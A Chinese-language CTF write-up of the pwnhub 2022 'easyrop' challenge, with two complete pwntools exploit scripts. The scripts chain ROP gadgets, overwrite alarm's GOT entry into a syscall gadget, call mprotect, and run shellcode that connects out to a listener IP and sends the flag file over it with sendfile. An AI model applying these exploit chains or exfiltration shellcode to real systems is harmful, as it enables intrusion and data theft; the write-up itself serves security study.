pwnhub2022_easyrop

来自pwnhub春季赛的一道题目,比赛的时候看了,完全没有思路。赛后复现发现题目确实很复杂。但是也学到了非常多。包括:能够任意地址写的magic,反向shell,alarm设置rax,构造syscall指令的方法。

easyrop

逻辑很简单,只不过关了输入输出流。

image-20220427143615956

当时一开始看到的想法是,这个直接重新打开输出流不就完事了?但是可能没有这种选项。

image-20220427143836630

(这里竟然能被检查出来canary也真是醉了…

同时,题目开了沙箱。也就是允许正规的ORW。但是无法输出

image-20220427143929904

思路

基本想法肯定是ORW。如果不能本地读取,看了wp之后发现还有一种方法,就是自己开一个socket然后在公网服务器上读。这牵涉到很多rop的gardet。因此需要考虑是否有可能把某部分映射成为可执行,也就是调用mprotect。但是怎么控制rax呢?

这道题给了一个新的思路。以前是通过read返回值可以设置rax,这里通过将alarm重新设置为0也就是alarm(0)时,会返回没有结束的秒数到寄存器rax中。利用这个特性我们可以获得一个0xf以下的rax。

因此,可以等待5秒,然后调用alarm(0),得到eax为10,然后利用ret2csu执行mprotect(bss, 0x1000, 7)。

image-20220427144457532

可以看到这里正好有mprotect这个系统调用,也符合我们写汇编代码的需求。于是我们可以把堆映射为可执行的,从而调一个socket,在公网上完成读flag。

但是,进一步发现,我们并没有syscall;ret的gardet。这似乎就没法调用mprotect了。

答案中给出了一个神奇的办法。注意到下面这个gardet。

add dword ptr [rbp - 0x3d], ebx; nop xxxxx; ret是一般的binary都有的。他的opcode是015dc3

image-20220427145207754

通过以上的gardet,结合ret2csu的gardet。我们就可以实现一个任意地址写的rop链。这是一个神奇的操作。而且在一般的binary里面基本都有!

image-20220427145329461

通过这个rop链,我们可以把alarm的got表改成syscall。具体来说如下图所示。我们把alarm的got表的内容(下图中0x00007ffff7e9fd90)改成0x00007ffff7e9fd99即可。

image-20220427150610764

只要把这个修改了,我们就能创造出一个syscall ret的gadget。

然而,也不是这么容易调用mprotect。因为我们没有pop rdx的gardet。不过我们可以用ret2csu来解决。注意到下面的mov rdx,r15可以用来解决这个问题。

image-20220427153218710

最后。(这个算是一个补充知识),使用rep的时候(因为我们需要把输入转移到堆上)各个寄存器放什么。如下图,是把esi移动到edi中。

image-20220427164128901

因此,整理一下思路。

思路的总结

  1. 等待五秒,调用alarm(0),这里可以直接使用csu来调用。
  2. 上一步结束之后,应该能使得eax变为10(mprotect),先修改alarm的got表里面改成syscall,之后利用这个syscall结合ret2csu完成一个mprotect修改特定位置的权限。这里选择修改堆为可执行。
  3. 在堆上写好一些rep要用到的指令。包括pop rbp rbx rcx(用于magic方法)、mov rsi rsp ret(用于rep)、rep movs,就是rep,后面在栈上就可以直接使用。注意这里要直接写入16进制的指令数值。用下面的方法

image-20220427165707253

  1. 在栈上写好shellcode,主要是socket+connect+sendfile,使用rep把shellcode拷贝到bss段执行(需要提前在堆上构造一些rep使用所需要的指令)。因为如果不用rep,就要使用上面提到的gardet,可能导致长度不够的问题。
  2. 跳转到堆上执行shellcode

调试过程十分复杂,光复现就花了五个小时…

截图

修改alarm

修改alarm为syscall。能够实现的原因是用那个magic能够控制任意地址加上一个任意数值。然后alarm在libc里面的内容里面有syscall。因此我们直接把地址加上这么多即可。

image-20220427212817318

下面是改掉之后的结果。

image-20220427160338128

调用mprotect

可以看到这里的参数,以及最后的alarm+9的内容。

image-20220427161512739

我们把堆映射为RWX的。

image-20220427161443802

寻找相关汇编

下面这个rep的好难找,真的要自己输入这样的指令。算是借此学到了吧,因为网上真的查不到这样的指令。下面指令的意思是把rsi指针中的数据中内容复制到rdi指针中。(类似于字符串拷贝的汇编)一次拷贝8byte。拷贝总次数由rcx决定。是和rep配合起来使用的。

image-20220427171103873

相关系统调用

一共用到三个系统调用。第一个是本地创建一个socket,用来后续bind。

第二个是connect,相当于这个socket连接到addr指针中的ip地址和端口(到这里大概明白了为什么要公网IP,因为打远程的时候远程的binary没发链接到自己的虚拟机上,自己的虚拟机本地调试的时候,这里可以在本地监听)

第三个是sendfile。其中out_fd表示输出到什么文件,in_fd表示从什么文件读。这里我先开的socket,再打开的文件,所以是下面的顺序。offset就不用管了,直接写0,最后是长度。

image-20220427185420778

image-20220427213159616

image-20220427212202690

最终反向shell拿到flag

image-20220427212635790

exp

首先上一个完整的exp。当本地打开127.0.0.1:10001端口监听之后,可以获得一个flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
import socket
filename="./easyrop"
io = process(filename)

context.log_level='debug'
elf=ELF(filename)
context.terminal=['tmux','split','-hp','60']
context.arch = "amd64"
remote_port = 10001
remote_ip = "127.0.0.1"



reverse_shell = b"\x6a\x29\x58\x6a\x06\x5a\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x97\xb0\x2a\x48\xb9\x02\x00"+ \
remote_port.to_bytes(2, "big")+socket.inet_aton(remote_ip) + b"\x51\x54\x5e\xb2\x10\x0f\x05"
send_flag = b'\xe8\x05\x00\x00\x00flag\x00_H\x89\xd0H1\xd21\xf6\xb0\x02\x0f\x05H\xc7\xc0(\x00\x00\x00H1\xffH\xc7\xc6\x01\x00\x00\x00H1\xd2I\xc7\xc20\x00\x00\x00\x0f\x05'
# send_flag = b"\x92\x48\xbb\x2f\x66\x6c\x61\x67\x00\x00\x00\x53\x54\x5f\x31\xf6\xb0\x02\x0f\x05\x96\x87\xfa\x68\x00\x13\x60\x00\x5a\x6a\x30\x41\x5a\x31\xc0\xb0\x28\x0f\x05"

magic = 0x0000000000400618 # add dword ptr [rbp - 0x3d], ebx; nop xxxxx; ret, arbitary write
csu = 0x4008FA # pop rbx, pop rbp, pop 4, ret
pop_rdi = 0x0000000000400903 # pop rdi
pop_rsi_r15 = 0x0000000000400901 # pop rsi,r15,ret
pop_rbp_rbx_rcx_ret = 0x601500
mov_rsi_rsp_ret = 0x601600
rep_movs = 0x601650
shellcode_addr = 0x601700

# wait for 5 seconds
sleep(5)

# call alarm(0) to get a 10 in eax
payload = b""
payload +=p64(0)*2
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(elf.plt['alarm']) # call alarm

# use magic to change alarm's got
payload +=p64(csu)
payload +=p64(0x09090909)# notice: here is add
payload +=p64(elf.got['alarm']+0x3d-3) # we only need to change 1 byte, so -3 here
payload +=p64(0)*4 # fill rest r*
payload +=p64(magic)

# call mprotect, with eax = 10 and syscall gardet
# using ret2csu, with call alarm's got == syscall
payload +=p64(csu)
payload +=p64(0) #rbx
payload +=p64(1) # rbp
payload +=p64(elf.got['alarm']) # r12, r12+rbx*8
payload +=p64(0x601000) # r13---> rdi, addr, is bss
payload +=p64(0x1000) #r14--->rsi, length
payload +=p64(7) # r15 --- > rdx, mode

# the call part of ret2csu
payload +=p64(0x4008E0)
# now we have successfully mprotexted an addr, form gardet1
payload +=p64(0) # junk
payload +=p64(0xc3595b5d) #pop_rbp_rbx_rcx_ret's machine code, rbx content
payload +=p64(pop_rbp_rbx_rcx_ret+0x3d) # rbp place
payload +=p64(0)*4
payload +=p64(magic) # write to heap
# form gardet2
payload +=p64(pop_rbp_rbx_rcx_ret)
payload +=p64(mov_rsi_rsp_ret+0x3d) #place
payload +=p64(0xc3e68948) # mov_rsi_rsp_ret
payload +=p64(0) # junk
payload +=p64(magic)
# form gardet3
payload +=p64(pop_rbp_rbx_rcx_ret)
payload +=p64(rep_movs+0x3d)
payload +=p64(0xc3a548f3) # rep movs QWORD PTR es:[rdi], QWORD PTR ds:[rsi]; ret
payload +=p64(15) # rcx=copy times:15
payload +=p64(magic)

# copy start
payload +=p64(pop_rdi)
payload +=p64(shellcode_addr-0x10) # target addr
payload +=p64(mov_rsi_rsp_ret) # notice : must give rsp(the pointer) to rsi
payload +=p64(rep_movs) # start copy
payload +=p64(shellcode_addr) # execute addr!
payload +=reverse_shell
payload +=send_flag


gdb.attach(io,"b *0x4008fa") # at ret in csu to avoid alarm's time
io.sendline(payload)


io.interactive()

下面是socket和connect。注意不需要编写汇编,直接用下面给好的字节码就能成功。字节码里面remote_port和remote_ip填自己公网的ip和port。(已验证可以成功,注意调试的时候碰到push rsp之后需要用si而不是ni,否则会失败)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
s1 = """
/* socket(AF_INET, SOCK_STREAM, 0) */
push 41
pop rax
push 6
pop rdx
push 2
pop rdi
push 1
pop rsi
syscall

/* connect(s, addr, len(addr)) */ 大概就是和远程端口绑定
xchg eax, edi
mov al, 42
mov rcx, 0x0100007f11270002 /*127.0.0.1:10001 --> 0x7f000001:0x2711*/
push rcx
push rsp ; 关键在于这里是addr数据结构
pop rsi
mov dl, 16
syscall
"""
reverse_shell = b"\x6a\x29\x58\x6a\x06\x5a\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x97\xb0\x2a\x48\xb9\x02\x00"+ \
remote_port.to_bytes(2, "big")+socket.inet_aton(remote_ip) + b"\x51\x54\x5e\xb2\x10\x0f\x05"

这里是open+sendfile。可以根据情况改文件名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 下面是open并且sendfile
s2="""
call main
.ascii "flag"
.byte 0
main:
pop rdi
mov rax,rdx
xor rdx,rdx
xor esi, esi
mov al, 2
syscall
mov rax,0x28
xor rdi,rdi
mov rsi,0x1
xor rdx,rdx
mov r10,0x30
syscall
"""
print(asm(s2))

result = b'\xe8\x05\x00\x00\x00flag\x00_H\x89\xd0H1\xd21\xf6\xb0\x02\x0f\x05H\xc7\xc0(\x00\x00\x00H1\xffH\xc7\xc6\x01\x00\x00\x00H1\xd2I\xc7\xc20\x00\x00\x00\x0f\x05'

总结

这道题学到了很多

  1. magic指令(我就这样命名了hhh)可以结合csu的gadget实现任意地址写任意数值。这是很强大的。

add dword ptr [rbp - 0x3d], ebx; nop xxxxx; ret

image-20220427145207754

  1. 使用alarm剩余的秒数设置rax。这也是新学到的方法。
  2. 反向shell。这也是第一次碰到。并且知道了shellcode如何构造。
  3. 在栈空间不够的时候,使用rep指令传递到堆上,学习了rep指令和配套的movs。
  4. 没有syscall的时候利用magic改掉alarm的got为syscall,并利用ret2cus调用任意的系统调用(结合第二部设置的rax)

pwnhub的题目确实很有收获。最后,放上官方的wp,里面对汇编代码有更好的解释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *
import socket

context.update(arch="amd64", log_level="debug")

# io = process("./easyrop")
io = remote("127.0.0.1", 10001)

# reverse tcp 的IP 和 port
remote_ip = "172.26.93.18"
remote_port = 10002


alarm_plt = 0x400510
alarm_got = 0x601020

pop_rdi_ret = 0x0000000000400903

pop_rbx_rbp_r12_r13_14_r15 = 0x4008FA

magic = 0x0000000000400618 # add dword ptr [rbp - 0x3d], ebx

bss_addr = 0x601060

"""
1. 利用alarm控制eax 为10
2. add alarm@got, 5 得到syscall; ret
3. mprotect(0x601000, 0x1000, 7)
4. add dword ptr [rbp - 0x3d], ebx 添加 gadget
5. copy and exec shellcode(reverse tcp and read flag)
"""

# rep movs qword ptr [rdi],qword ptr [rsi];ret F348A5C3
# mov rsi, rsp; ret 4889E6C3
# pop rbp; pop rbx; pop rcx; ret 5D5B59C3

pop_rbp_rbx_rcx_ret = bss_addr
mov_rsi_rsp_ret = bss_addr + 0x8
rep_movs = bss_addr + 0x10

s1 = """
/* socket(AF_INET, SOCK_STREAM, 0) */
push 41
pop rax
push 6
pop rdx
push 2
pop rdi
push 1
pop rsi
syscall

/* connect(s, addr, len(addr)) */ 大概就是和远程端口绑定
xchg eax, edi
mov al, 42
mov rcx, 0x0100007f11270002 /*127.0.0.1:10001 --> 0x7f000001:0x2711*/
push rcx
push rsp ; 关键在于这里是addr数据结构
pop rsi
mov dl, 16
syscall
"""
reverse_shell = b"\x6a\x29\x58\x6a\x06\x5a\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x97\xb0\x2a\x48\xb9\x02\x00"+ \
remote_port.to_bytes(2, "big")+socket.inet_aton(remote_ip) + b"\x51\x54\x5e\xb2\x10\x0f\x05"

# send flag
s2="""
xchg eax, edx
/* open flag */
mov rbx, 0x67616c662f
push rbx
push rsp
pop rdi
xor esi, esi
mov al, 2
syscall
; esi是flag文件(in_fd,for reading),edi是输出(out_fd, for writing)
xchg eax, esi; in_fd in esi
xchg edx, edi; out_fd in rdi
push 0x601300; offset's pointer .zero is also OK
pop rdx
push 0x30; size
pop r10
mov al, 40
syscall
"""
# 避免调用接口耗时,直接给出字节码
send_flag = b"\x92\x48\xbb\x2f\x66\x6c\x61\x67\x00\x00\x00\x53\x54\x5f\x31\xf6\xb0\x02\x0f\x05\x96\x87\xfa\x68\x00\x13\x60\x00\x5a\x6a\x30\x41\x5a\x31\xc0\xb0\x28\x0f\x05"


payload = flat({
0x10: [
pop_rdi_ret,
0,
alarm_plt,
pop_rbx_rbp_r12_r13_14_r15,
0x05151515, alarm_got+0x3d-3,0,0,0,0,
magic,
pop_rbx_rbp_r12_r13_14_r15,
0, 1, alarm_got, 0x601000, 0x1000, 0x7,
0x4008e0, 0, 0xc3595b5d, pop_rbp_rbx_rcx_ret+0x3d, 0, 0, 0, 0,
magic,
pop_rbp_rbx_rcx_ret,
mov_rsi_rsp_ret+0x3d, 0xc3e68948, 0,
magic,
pop_rbp_rbx_rcx_ret,
rep_movs+0x3d, 0xc3a548f3, 15,
magic,
pop_rdi_ret, bss_addr+0x20,
mov_rsi_rsp_ret,
rep_movs,
bss_addr+0x30,
reverse_shell,
send_flag
]
})

sleep(5)

io.send(payload)

print("length:", hex(len(payload)))
print("len of reverse:", hex(len(reverse_shell+send_flag)))


io.interactive()
文章目录
  1. 1. easyrop
    1. 1.1. 思路
      1. 1.1.1. 思路的总结
    2. 1.2. 截图
      1. 1.2.1. 修改alarm
      2. 1.2.2. 调用mprotect
      3. 1.2.3. 寻找相关汇编
      4. 1.2.4. 相关系统调用
      5. 1.2.5. 最终反向shell拿到flag
  2. 2. exp
  3. 3. 总结
|